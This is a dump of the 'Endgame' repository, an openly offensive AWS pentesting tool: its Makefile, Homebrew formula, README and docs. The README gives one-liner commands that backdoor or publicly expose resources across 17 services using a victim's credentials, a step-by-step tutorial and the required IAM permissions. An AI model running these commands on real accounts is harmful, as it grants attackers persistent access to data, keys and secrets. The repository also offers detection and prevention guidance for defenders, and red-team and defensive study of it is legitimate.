url "https://files.pythonhosted.org/packages/3c/56/3f325b1eef9791759784aa5046a8f6a1aff8f7c898a2e34506771d3b99d8/jmespath-0.10.0.tar.gz"
sha256 "b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9"
end
resource "policy-sentry" do
url "https://files.pythonhosted.org/packages/5a/d6/09bd6125cc20eac023ad5b5a8391de709e40d6787b14775e6dbc8c32e96e/policy_sentry-0.11.5.tar.gz"
sha256 "c0ef418e6bd062d21185a51f40ad39b997d7ae5da793d2a8c0ea013c2f15da5c"
end
resource "python-dateutil" do
url "https://files.pythonhosted.org/packages/be/ed/5bbc91f03fa4c839c4c7360375da77f9659af5f7086b7a7bdda65771c8e0/python-dateutil-2.8.1.tar.gz"
sha256 "73ebfe9dbf22e832286dafa60473e4cd239f8592f699aa5adaf10050e6e1823c"
end
resource "PyYAML" do
url "https://files.pythonhosted.org/packages/a0/a4/d63f2d7597e1a4b55aa3b4d6c5b029991d3b824b5bd331af8d4ab1ed687d/PyYAML-5.4.1.tar.gz"
sha256 "607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e"
end
resource "requests" do
url "https://files.pythonhosted.org/packages/6b/47/c14abc08432ab22dc18b9892252efaf005ab44066de871e72a38d6af464b/requests-2.25.1.tar.gz"
sha256 "27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804"
end
resource "s3transfer" do
url "https://files.pythonhosted.org/packages/08/e1/3ee2096ebaeeb8c186d20ed16c8faf4a503913e5c9a0e14cd6b8ffc405a3/s3transfer-0.3.4.tar.gz"
sha256 "7fdddb4f22275cf1d32129e21f056337fd2a80b6ccef1664528145b72c49e6d2"
end
resource "schema" do
url "https://files.pythonhosted.org/packages/2b/91/42bc143289fd5f032ab1b01c5da32dc162ae808a585122f27ed5bf67268f/schema-0.7.4.tar.gz"
sha256 "fbb6a52eb2d9facf292f233adcc6008cffd94343c63ccac9a1cb1f3e6de1db17"
end
resource "six" do
url "https://files.pythonhosted.org/packages/6b/34/415834bfdafca3c5f451532e8a8d9ba89a21c9743a0c59fbd0205c7f9426/six-1.15.0.tar.gz"
sha256 "30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"
end
resource "soupsieve" do
url "https://files.pythonhosted.org/packages/54/b9/1584ee0cd971ea935447c87bbc9d195d981feec446dd0af799d9d95c9d86/soupsieve-2.2.tar.gz"
sha256 "407fa1e8eb3458d1b5614df51d9651a1180ea5fedf07feb46e45d7e25e6d6cdd"
end
resource "urllib3" do
url "https://files.pythonhosted.org/packages/d7/8d/7ee68c6b48e1ec8d41198f694ecdc15f7596356f2ff8e6b1420300cf5db3/urllib3-1.26.3.tar.gz"
sha256 "de3eedaad74a2683334e282005cd8d7f22f4d55fa690a2a1020a416cb0a47e73"
end
def install
virtualenv_create(libexec, "python3")
virtualenv_install_with_resources
end
test do
false
end
end
================================================
FILE: LICENSE
================================================
Copyright 2021 Salesforce.com
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE SOFTWARE.
================================================
FILE: Makefile
================================================
SHELL:=/bin/bash
.PHONY: setup-env
setup-env:
python3 -m venv ./venv && source venv/bin/activate
python3 -m pip install -r requirements.txt
.PHONY: setup-dev
setup-dev: setup-env
python3 -m pip install -r requirements-dev.txt
.PHONY: build-docs
build-docs: setup-dev
mkdocs build
.PHONY: serve-docs
serve-docs: setup-dev
mkdocs serve --dev-addr "127.0.0.1:8001"
.PHONY: build
build: setup-env clean
python3 -m pip install --upgrade setuptools wheel
python3 -m setup -q sdist bdist_wheel
.PHONY: install
install: build
python3 -m pip install -q ./dist/endgame*.tar.gz
endgame --help
.PHONY: uninstall
uninstall:
python3 -m pip uninstall endgame -y
python3 -m pip uninstall -r requirements.txt -y
python3 -m pip uninstall -r requirements-dev.txt -y
python3 -m pip freeze | xargs python3 -m pip uninstall -y
.PHONY: clean
clean:
rm -rf dist/
rm -rf build/
rm -rf *.egg-info
find . -name '*.pyc' -delete
find . -name '*.pyo' -delete
find . -name '*.egg-link' -delete
find . -name '*.pyc' -exec rm --force {} +
find . -name '*.pyo' -exec rm --force {} +
.PHONY: test
test: setup-dev
python3 -m coverage run -m pytest -v
.PHONY: security-test
security-test: setup-dev
bandit -r ./endgame/
.PHONY: fmt
fmt: setup-dev
black endgame/
.PHONY: lint
lint: setup-dev
pylint endgame/
.PHONY: publish
publish: build
python3 -m pip install --upgrade twine
python3 -m twine upload dist/*
python3 -m pip install endgame
.PHONY: count-loc
count-loc:
echo "If you don't have tokei installed, you can install it with 'brew install tokei'"
echo "Website: https://github.com/XAMPPRocky/tokei#installation'"
tokei ./* --exclude --exclude '**/*.html' --exclude '**/*.json'
.PHONY: terraform-demo
terraform-demo:
cd terraform && terraform init && terraform apply --auto-approve
.PHONY: terraform-destroy
terraform-destroy:
cd terraform && terraform destroy --auto-approve
.PHONY: integration-test
integration-test: setup-dev
python3 -m invoke test.list-resources
python3 -m invoke test.expose-dry-run
python3 -m invoke test.expose
python3 -m invoke test.expose-undo
make terraform-destroy
================================================
FILE: README.md
================================================
# Endgame
An AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or share the resources with the entire internet 😈
[](https://github.com/salesforce/endgame/actions?query=workflow%3Acontinuous-integration)
[](https://endgame.readthedocs.io/en/latest/?badge=latest)
[](https://gitter.im/salesforce/endgame?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[](https://twitter.com/kmcquade3)
[](https://pepy.tech/project/endgame)
<p align="center">
<img src="docs/images/endgame.gif">
</p>
**TL;DR**: `endgame smash --service all` to create backdoors across your entire AWS account - by sharing resources either with a rogue IAM user/role or with the entire Internet.
# Endgame: Creating Backdoors in AWS
Endgame abuses AWS's resource permission model to grant rogue users (or the Internet) access to an AWS account's resources with a single command. It does this through one of three methods:
1. Modifying [resource-based policies](https://endgame.readthedocs.io/en/latest/resource-policy-primer/) (such as [S3 Bucket policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteAccessPermissionsReqd.html#bucket-policy-static-site) or [Lambda Function policies](https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html#permissions-resource-xaccountinvoke))
2. Resources that can be made public through sharing APIs (such as [Amazon Machine Images (AMIs)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html), [EBS disk snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html), and [RDS database snapshots](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html))
3. Sharing resources via [AWS Resource Access Manager (RAM)](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html)
Endgame was created to:
* Push [AWS](https://endgame.readthedocs.io/en/latest/recommendations-to-aws/) to improve coverage of AWS Access Analyzer so AWS users can protect themselves.
* Show [blue teams](#recommendations-to-blue-teams) and developers what kind of damage can be done by overprivileged/leaked accounts.
* Help red teams to demonstrate impact of their access.
Endgame demonstrates (with a bit of shock and awe) how simple human errors in excessive permissions (such a granting `s3:*` access instead of `s3:GetObject`) can be abused by attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves. This is what inspired us to write this tool. Follow the [Tutorial](#tutorial) and observe how you can expose resources across **17 different AWS services** to the Internet in a matter of seconds.
The resource types that can be exposed are of high value to attackers. This can include:
* Privileged compute access (by exposing who can invoke `lambda` functions)
* Database snapshots (`rds`), Storage buckets (`s3`), file systems (`elasticfilesystem`), storage backups (`glacier`), disk snapshots (`ebs` snapshots),
* Encryption keys (`kms`), secrets (`secretsmanager`), and private certificate authorities (`acm-pca`)
* Messaging and notification services (`sqs` queues, `sns` topics, `ses` authorized senders)
* Compute artifacts (`ec2` AMIs, `ecr` images, `lambda` layers)
* Logging endpoints (`cloudwatch` resource policies)
* Search and analytics engines (`elasticsearch` clusters)
Endgame is an attack tool, but it was written with a specific purpose. We wrote this tool for the following audiences:
1. **AWS**: We want AWS to empower their customers with the capabilities to fight these attacks. Our recommendations are outlined in the [Recommendations to AWS](#recommendations-to-aws) section.
2. **AWS Customers and their customers**: It is better to have risks be more easily understood and know how to mitigate those risks than to force people to fight something novel. By increasing awareness about Resource Exposure and excessive permissions, we can protect ourselves against attacks where the attackers previously held the advantage and AWS customers were previously left blind.
3. **Blue Teams**: Defense teams can leverage the guidance around user-agent detection, API call detection, and behavioral detection outlined in the [Recommendations to Blue Teams](#recommendations-to-blue-teams) section.
4. **Red Teams**: This will make for some very eventful red team exercises. Make sure you give the Blue Team kudos when they catch you!
## Supported Backdoors
Endgame can create backdoors for resources in any of the services listed in the table below.
Note: At the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊
| Backdoor Resource Type | Endgame | [AWS Access Analyzer Support][1] |
|---------------------------------------------------------|---------|----------------------------------|
| [ACM Private CAs](https://endgame.readthedocs.io/en/latest/risks/acm-pca/) | ✅ | ❌ |
| [CloudWatch Resource Policies](https://endgame.readthedocs.io/en/latest/risks/logs/) | ✅ | ❌ |
| [EBS Volume Snapshots](https://endgame.readthedocs.io/en/latest/risks/ebs/) | ✅ | ❌ |
| [EC2 AMIs](https://endgame.readthedocs.io/en/latest/risks/amis/) | ✅ | ❌ |
| [ECR Container Repositories](https://endgame.readthedocs.io/en/latest/risks/ecr/) | ✅ | ❌ |
| [EFS File Systems](https://endgame.readthedocs.io/en/latest/risks/efs/) | ✅ | ❌ |
| [ElasticSearch Domains](https://endgame.readthedocs.io/en/latest/risks/es/) | ✅ | ❌ |
| [Glacier Vault Access Policies](https://endgame.readthedocs.io/en/latest/risks/glacier/) | ✅ | ❌ |
| [IAM Roles](https://endgame.readthedocs.io/en/latest/risks/iam-roles/) | ✅ | ✅ |
| [KMS Keys](https://endgame.readthedocs.io/en/latest/risks/kms/) | ✅ | ✅ |
| [Lambda Functions](docs/risks/lambda-functions.md) | ✅ | ✅ |
| [Lambda Layers](https://endgame.readthedocs.io/en/latest/risks/lambda-layers/) | ✅ | ✅ |
| [RDS Snapshots](https://endgame.readthedocs.io/en/latest/risks/rds-snapshots/) | ✅ | ❌ |
| [S3 Buckets](https://endgame.readthedocs.io/en/latest/risks/s3/) | ✅ | ✅ |
| [Secrets Manager Secrets](https://endgame.readthedocs.io/en/latest/risks/secretsmanager/) | ✅ | ✅ |
| [SES Sender Authorization Policies](https://endgame.readthedocs.io/en/latest/risks/ses/) | ✅ | ❌ |
| [SQS Queues](https://endgame.readthedocs.io/en/latest/risks/sns/) | ✅ | ✅ |
| [SNS Topics](https://endgame.readthedocs.io/en/latest/risks/sqs/) | ✅ | ❌ |
# Cheatsheet
```bash
# this will ruin your day
endgame smash --service all --evil-principal "*"
# This will show you how your day could have been ruined
endgame smash --service all --evil-principal "*" --dry-run
# Atone for your sins
endgame smash --service all --evil-principal "*" --undo
# Consider maybe atoning for your sins
endgame smash --service all --evil-principal "*" --undo --dry-run
# List resources available for exploitation
endgame list-resources --service all
# Expose specific resources
endgame expose --service s3 --name computers-were-a-mistake
```
# Tutorial
The prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim account which have privileges to update resource policies.
Endgame can run in two modes, `expose` or `smash`. The less-destructive `expose` mode is surgical, updating the resource policy on a single attacker-defined resource to include a back door to a principal they control (or the internet if they're mean).
`smash`, on the other hand, is more destructive (and louder). `smash` can run on a single service or all supported services. In either case, for each service it enumerates a list of resources in that region, reads the current resource policy on each, and applies a new policy which includes the "evil principal" the attacker has specified. The net effect of this is that depending on the privileges they have in the victim account, an attacker can insert dozens of back doors which are not controlled by the victim's IAM policies.
## Installation
* pip3
```bash
pip3 install --user endgame
```
* Homebrew (this will not work until the repository is public)
```bash
brew tap salesforce/endgame https://github.com/salesforce/endgame
brew install endgame
```
Now you should be able to execute Endgame from command line by running `endgame --help`.
### Shell Completion
* To enable Bash completion, put this in your `~/.bashrc`:
```bash
eval "$(_ENDGAME_COMPLETE=source endgame)"
```
* To enable ZSH completion, put this in your `~/.zshrc`:
```bash
eval "$(_ENDGAME_COMPLETE=source_zsh endgame)"
```
## Step 1: Setup
* First, authenticate to AWS CLI using credentials to the victim's account.
* Set the environment variables for `EVIL_PRINCIPAL` (required). Optionally, set the environment variables for `AWS_REGION` and `AWS_PROFILE`.
```bash
# Set `EVIL_PRINCIPAL` environment variable to the rogue IAM User or
# Role that you want to give access to.
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
# If you don't supply these values, these will be the defaults.
export AWS_REGION="us-east-1"
export AWS_PROFILE="default"
```
## Step 2: Create Demo Infrastructure
This program makes modifications to live AWS Infrastructure, which can vary from account to account. We have bootstrapped some of this for you using [Terraform](https://www.terraform.io/intro/index.html).
> **Warning: This will create real AWS infrastructure and will cost you money. Be sure to create this in a test account, and destroy the Terraform resources afterwards.**
```bash
# To create the demo infrastructure
make terraform-demo
```
## Step 3: List Victim Resources
You can use the `list-resources` command to list resources in the account that you can backdoor.
* Examples:
```bash
# List IAM Roles, so you can create a backdoor via their AssumeRole policies
endgame list-resources -s iam
# List S3 buckets, so you can create a backdoor via their Bucket policies
endgame list-resources --service s3
# List all resources across services that can be backdoored
endgame list-resources --service all
```
## Step 4: Backdoor specific resources
* Use the `--dry-run` command first to test it without modifying anything:
```bash
endgame expose --service iam --name test-resource-exposure --dry-run
```
* To create the backdoor to that resource from your rogue account, run the following:
```bash
endgame expose --service iam --name test-resource-exposure
```
Example output:
<p align="center">
<img src="docs/images/add-myself-foreal.png">
</p>
## Step 5: Roll back changes
* If you want to atone for your sins (optional) you can use the `--undo` flag to roll back the changes.
```bash
endgame expose --service iam --name test-resource-exposure --undo
```
<p align="center">
<img src="docs/images/add-myself-undo.png">
</p>
## Step 6: Smash your AWS Account to Pieces
* To expose every exposable resource in your AWS account, run the following command.
> Warning: If you supply the argument `--evil-principal *` or the environment variable `EVIL_PRINCIPAL=*`, it will expose the account to the internet. If you do this, it is possible that an attacker could assume your privileged IAM roles, take over the other [supported resources](#supported-backdoors) present in that account, or incur a massive bill. As such, you might want to set `--evil-principal` to your own AWS user/role in another account.
```bash
endgame smash --service all --dry-run
endgame smash --service all
endgame smash --service all --undo
```
## Step 7: Destroy Demo Infrastructure
* Now that you are done with the tutorial, don't forget to clean up the demo infrastructure.
```bash
# Destroy the demo infrastructure
make terraform-destroy
```
# Recommendations
## Recommendations to AWS
While [Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/) (a Salesforce-produced AWS IAM assessment tool), showed us the pervasiveness of least privilege violations in AWS IAM across the industry, Endgame shows us how it is already easy for attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves.
[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) is a tool produced by AWS that helps you identify the resources in your organization and accounts, such as Amazon S3 buckets or IAM roles, that are shared with an external entity. In short, it **detects** instances of this resource exposure problem. However, it does not by itself meet customer need, due to current gaps in coverage and the lack of preventative tooling to compliment it.
At the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊
The lack of preventative tooling makes this issue more difficult for customers. Ideally, customers should be able to say, _"Nobody in my AWS Organization is allowed to share **any** resources that can be exposed by Endgame outside of the organization, unless that resource is in an exemption list."_ This **should** be possible, but it is not. It is not even possible to use [AWS Service Control Policies (SCPS)](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) - AWS's preventative guardrails service - to prevent `sts:AssumeRole` calls from outside your AWS Organization. The current SCP service limit of 5 SCPs per AWS account compounds this problem.
We recommend that AWS take the following measures in response:
* Increase Access Analyzer Support to cover the resources that can be exposed via Resource-based Policy modification, AWS RAM resource sharing, and resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs)
* Support the usage of `sts:AssumeRole` to prevent calls from outside your AWS Organization, with targeted exceptions.
* Add IAM Condition Keys to all the IAM Actions that are used to perform Resource Exposure. These IAM Condition Keys should be used to prevent these resources from (1) being shared with the public **and** (2) being shared outside of your `aws:PrincipalOrgPath`.
* Expand the current limit of 5 SCPs per AWS account to 200. (for comparison, the Azure equivalent - Azure Policies - has a limit of [200 Policy or Initiative Assignments per subscription](https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#azure-policy-limits))
* Improve the AWS SCP service to support an "Audit" mode that would record in CloudTrail whether API calls would have been denied had the SCP not been in audit mode. This would increase customer adoption and make it easier for customers to both pilot and roll out new guardrails. (for comparison, the Azure Equivalent - Azure Policies - already [supports Audit mode](https://docs.microsoft.com/en-us/azure/governance/policy/concepts/effects#audit).
* Create GuardDuty rules that detect **public** exposure of resources. This may garner more immediate customer attention than Access Analyzer alerts, as they are considered high priority by Incident Response teams, and some customers have not onboarded to Access Analyzer yet.
## Recommendations to Blue Teams
### Detection
There are three general methods that blue teams can use to **detect** AWS Resource Exposure Attacks. See the links below for more detailed guidance per method.
1. [User Agent Detection (Endgame specific)](https://endgame.readthedocs.io/en/latest/detection/#user-agent-detection)
2. [API call detection](https://endgame.readthedocs.io/en/latest/detection/#api-call-detection)
3. [Behavioral-based detection](https://endgame.readthedocs.io/en/latest/detection/#behavioral-based-detection)
4. [AWS Access Analyzer](https://endgame.readthedocs.io/en/latest/detection/#aws-access-analyzer)
While (1) User Agent Detection is specific to the usage of Endgame, (2) API Call Detection, (3) Behavioral-based detection, and (4) AWS Access Analyzer are strategies to detect Resource Exposure Attacks, regardless of if the attacker is using Endgame to do it.
### Prevention
There are 6 general methods that blue teams can use to **prevent** AWS Resource Exposure Attacks. See the links below for more detailed guidance per method.
1. [Use AWS KMS Customer-Managed Keys to encrypt resources](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys)
2. [Leverage Strong Resource-based policies](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)
3. [Trusted Accounts Only](https://endgame.readthedocs.io/en/latest/prevention/#trusted-accounts-only)
4. [Inventory which IAM Principals are capable of Resource Exposure](https://endgame.readthedocs.io/en/latest/prevention/#inventory-which-iam-principals-are-capable-of-resource-exposure)
5. [AWS Service Control Policies](https://endgame.readthedocs.io/en/latest/prevention/#aws-service-control-policies)
6. [Prevent AWS RAM External Principals](https://endgame.readthedocs.io/en/latest/prevention/#prevent-aws-ram-external-principals)
### Further Blue Team Reading
Additional information on AWS resource policies, how this tool works in the victim account, and identification/containment suggestions is [here](docs/resource-policy-primer.md).
# IAM Permissions
The IAM Permissions listed below are used to create these backdoors.
You don't need **all** of these permissions to run the tool. You just need enough from each service. For example, `s3:ListAllMyBuckets`, `s3:GetBucketPolicy`, and `s3:PutBucketPolicy` are all the permissions needed to leverage this tool to expose S3 buckets.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IAmInevitable",
"Effect": "Allow",
"Action": [
"acm-pca:DeletePolicy",
"acm-pca:GetPolicy",
"acm-pca:ListCertificateAuthorities",
"acm-pca:PutPolicy",
"ec2:DescribeImageAttribute",
"ec2:DescribeImages",
"ec2:DescribeSnapshotAttribute",
"ec2:DescribeSnapshots",
"ec2:ModifySnapshotAttribute",
"ec2:ModifyImageAttribute",
"ecr:DescribeRepositories",
"ecr:DeleteRepositoryPolicy",
"ecr:GetRepositoryPolicy",
"ecr:SetRepositoryPolicy",
"elasticfilesystem:DescribeFileSystems",
"elasticfilesystem:DescribeFileSystemPolicy",
"elasticfilesystem:PutFileSystemPolicy",
"es:DescribeElasticsearchDomainConfig",
"es:ListDomainNames",
"es:UpdateElasticsearchDomainConfig",
"glacier:GetVaultAccessPolicy",
"glacier:ListVaults",
"glacier:SetVaultAccessPolicy",
"iam:GetRole",
"iam:ListRoles",
"iam:UpdateAssumeRolePolicy",
"kms:GetKeyPolicy",
"kms:ListKeys",
"kms:ListAliases",
"kms:PutKeyPolicy",
"lambda:AddLayerVersionPermission",
"lambda:AddPermission",
"lambda:GetPolicy",
"lambda:GetLayerVersionPolicy",
"lambda:ListFunctions",
"lambda:ListLayers",
"lambda:ListLayerVersions",
"lambda:RemoveLayerVersionPermission",
"lambda:RemovePermission",
"logs:DescribeResourcePolicies",
"logs:DeleteResourcePolicy",
"logs:PutResourcePolicy",
"rds:DescribeDbClusterSnapshots",
"rds:DescribeDbClusterSnapshotAttributes",
"rds:DescribeDbSnapshots",
"rds:DescribeDbSnapshotAttributes",
"rds:ModifyDbSnapshotAttribute",
"rds:ModifyDbClusterSnapshotAttribute",
"s3:GetBucketPolicy",
"s3:ListAllMyBuckets",
"s3:PutBucketPolicy",
"secretsmanager:GetResourcePolicy",
"secretsmanager:DeleteResourcePolicy",
"secretsmanager:ListSecrets",
"secretsmanager:PutResourcePolicy",
"ses:DeleteIdentityPolicy",
"ses:GetIdentityPolicies",
"ses:ListIdentities",
"ses:ListIdentityPolicies",
"ses:PutIdentityPolicy",
"sns:AddPermission",
"sns:ListTopics",
"sns:GetTopicAttributes",
"sns:RemovePermission",
"sqs:AddPermission",
"sqs:GetQueueUrl",
"sqs:GetQueueAttributes",
"sqs:ListQueues",
"sqs:RemovePermission"
],
"Resource": "*"
}
]
}
```
# Contributing
Want to contribute back to endgame? This section outlines our philosophy, the test suite, and issue tracking, and will house more details on the development flow and design as the tool matures.
**Impostor Syndrome Disclaimer**
Before we get into the details: We want your help. No, really.
There may be a little voice inside your head that is telling you that you're not ready to be an open source contributor; that your skills aren't nearly good enough to contribute. What could you possibly offer a project like this one?
We assure you -- the little voice in your head is wrong. If you can write code at all, you can contribute code to open source. Contributing to open source projects is a fantastic way to advance one's coding skills. Writing perfect code isn't the measure of a good developer (that would disqualify all of us!); it's trying to create something, making mistakes, and learning from those mistakes. That's how we all improve.
We've provided some clear Contribution Guidelines that you can read here. The guidelines outline the process that you'll need to follow to get a patch merged. By making expectations and process explicit, we hope it will make it easier for you to contribute.
And you don't just have to write code. You can help out by writing documentation, tests, or even by giving feedback about this work. (And yes, that includes giving feedback about the contribution guidelines.)
## Testing
### Unit tests
* Run [pytest](https://docs.pytest.org/en/stable/) with the following:
```bash
make test
```
### Security tests
* Run [bandit](https://bandit.readthedocs.io/en/latest/) with the following:
```bash
make security-test
```
### Integration tests
After making any modifications to the program, you can run a full-fledged integration test, using this program against your own test infrastructure in AWS.
* First, set your environment variables
```bash
# Set the environment variable for the username that you will create a backdoor for.
export EVIL_PRINCIPAL="arn:aws:iam::999988887777:user/evil"
export AWS_REGION="us-east-1"
export AWS_PROFILE="default"
```
* Then run the full-fledged integration test:
```bash
make integration-test
```
This does the following:
* Sets up your local dev environment (see `setup-dev`) in the `Makefile`
* Creates the Terraform infrastructure (see `terraform-demo` in the `Makefile`)
* Runs `list-resources`, `exploit --dry-run`, and `expose` against this live infrastructure
* Destroys the Terraform infrastructure (see `terraform-destroy` in the `Makefile`)
Note that the `expose` command will not expose the resources to the world - it will only expose them to your rogue user, not to the world.
# References
* [Example Splunk Dashboard for AWS Resource Exposure](https://kmcquade.github.io/rick/)
* [AWS Access Analyzer Supported Resources](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html)
* [AWS Exposable Resources](https://github.com/SummitRoute/aws_exposable_resources)
* [Moto: A library that allows you to easily mock out tests based on AWS Infrastructure](http://docs.getmoto.org/en/latest/docs/moto_apis.html)
* [Imposter Syndrome Disclaimer created by Adrienne Friend](https://github.com/adriennefriend/imposter-syndrome-disclaimer)
[1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html
================================================
FILE: SECURITY.md
================================================
## Security
Please report any security issue to [security@salesforce.com](mailto:security@salesforce.com)
as soon as it is discovered. This library limits its runtime dependencies in
order to reduce the total cost of ownership as much as can be, but all consumers
should remain vigilant and have their security stakeholders review all third-party
products (3PP) like this one and their dependencies.
================================================
FILE: docs/appendices/acm-pca-activation.md
================================================
# ACM PCA Activation
While the rest of the infrastructure deployed via the Terraform resources is ready to go as soon as `make terraform-demo` is finished, you will need to do some manual follow-up steps in ACM PCA for the demo to work.
Follow the steps below to activate the PCA. After following these steps, you can successfully perform the Resource Exposure activities.
## Create Terraform Resources
* Run the Terraform code to generate the example AWS resources.
```bash
make terraform-demo
```
## Follow-up steps to activate ACM PCA
The ACM Private Certificate Authority will have been created - but you won't be able to use it yet. Per [the Terraform docs on [aws_acmpca_certificate_authority](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/acmpca_certificate_authority), "Creating this resource will leave the certificate authority in a `PENDING_CERTIFICATE status`, which means it cannot yet issue certificates."
* To solve this, navigate to the AWS Console in the selected region. Observe how the certificate authority is in the `PENDING_CERTIFICATE` status, as shown in the image below.
> 
* Select "Install a CA Certificate to activate your CA", as shown in the image above, marked by the **red box**.
* A wizard will pop up. Use the default settings and hit **"Next"**, then **"Confirm and Install"**.
* Observe that your root CA certificate was installed successfully, and that the STATUS of the CA is ACTIVE and able to issue private certificates.
.. and now you are ready to pwn that root certificate with this tool 😈
================================================
FILE: docs/appendices/faq.md
================================================
# FAQ
## Where does AWS Access Analyzer fall short?
[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) analyzes new or updated resource-based policies within 30 minutes of policy updates (triggered by CloudTrail log entries), and during periodic scans (every 24 hours). If an attacker leverages the `expose` or `smash` commands but quickly rolls back the changes with `--undo`, you might not find out about the attack with Access Analyzer until 30 minutes later.
However, Access Analyzer can still be especially useful in ensuring that if attacks do gain a foothold in your infrastructure. If the attacker ran Endgame or perform resource exposure attacks without the tool, you can still use Access Analyzer to alert on those changes so you can respond to the issue, instead of allowing a persistent backdoor.
The primary drawback with AWS Access Analyzer is that it does not support 11/17 resource types currently supported by Endgame. It also does not support AWS RAM Resource sharing outside of your trust zone, or resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs).
See the [Recommendations to AWS](../recommendations-to-aws.md) section for more details.
## Related Tools in the Ecosystem
### Attack tools
[Pacu](https://github.com/RhinoSecurityLabs/pacu/) is an AWS exploitation framework created by [Spencer Gietzen](https://twitter.com/SpenGietz), designed for testing the security of Amazon Web Services environments. The [iam__backdoor_assume_role](https://github.com/RhinoSecurityLabs/pacu/blob/master/modules/iam__backdoor_assume_role/main.py) module was a particular point of inspiration for `endgame` - it creates backdoors in IAM roles by creating trust relationships with one or more roles in the account, allowing those users to assume those roles after they are no longer using their current set of credentials.
### Detection/scanning tools
[Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/), is an AWS IAM assessment tool produced by [Kinnaird McQuade](https://twitter.com/kmcquade3) that showed us the pervasiveness of least privilege violations in AWS IAM across the industry. Two findings of particular interest to `endgame` are Resource Exposure and Service Wildcards. Resource Exposure describes actions that grant access to share resources with rogue accounts or to the internet - i.e., modifying Resource-based Policies, sharing resources with AWS RAM, or via resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, or EC2 AMIs).
### Prevention tools
[Policy Sentry](https://engineering.salesforce.com/salesforce-cloud-security-automating-least-privilege-in-aws-iam-with-policy-sentry-b04fe457b8dc) is a least-privilege
IAM Authoring tool created by [Kinnaird McQuade](https://twitter.com/kmcquade3) that demonstrated to the industry how to write least privilege IAM policies at scale, restricting permissions according to specific resources and access levels.
================================================
FILE: docs/appendices/permissions-management-actions.md
================================================
## Actions
### ACM PCA
* Permissions
acm-pca:CreatePermission
acm-pca:DeletePermission
acm-pca:DeletePolicy
acm-pca:PutPolicy
* `certificate-authority`: `arn:${Partition}:acm-pca:${Region}:${Account}:certificate-authority/${CertificateAuthorityId}`
### API Gateway
apigateway:UpdateRestApiPolicy
* ARN: `arn:${Partition}:apigateway:${Region}::${ApiGatewayResourcePath}`
### AWS Backup
backup:DeleteBackupVaultAccessPolicy
backup:PutBackupVaultAccessPolicy
* `backupVault`: `arn:${Partition}:backup:${Region}:${Account}:backup-vault:${BackupVaultName}`
### Chime
chime:DeleteVoiceConnectorTerminationCredentials
chime:PutVoiceConnectorTerminationCredentials
### CloudSearch
cloudsearch:UpdateServiceAccessPolicies
### CodeArtifact
codeartifact:DeleteDomainPermissionsPolicy
codeartifact:DeleteRepositoryPermissionsPolicy
### CodeBuild
codebuild:DeleteResourcePolicy
codebuild:DeleteSourceCredentials
codebuild:ImportSourceCredentials
codebuild:PutResourcePolicy
### CodeGuru Profiler
codeguru-profiler:PutPermission
codeguru-profiler:RemovePermission
### CodeStar
codestar:AssociateTeamMember
codestar:CreateProject
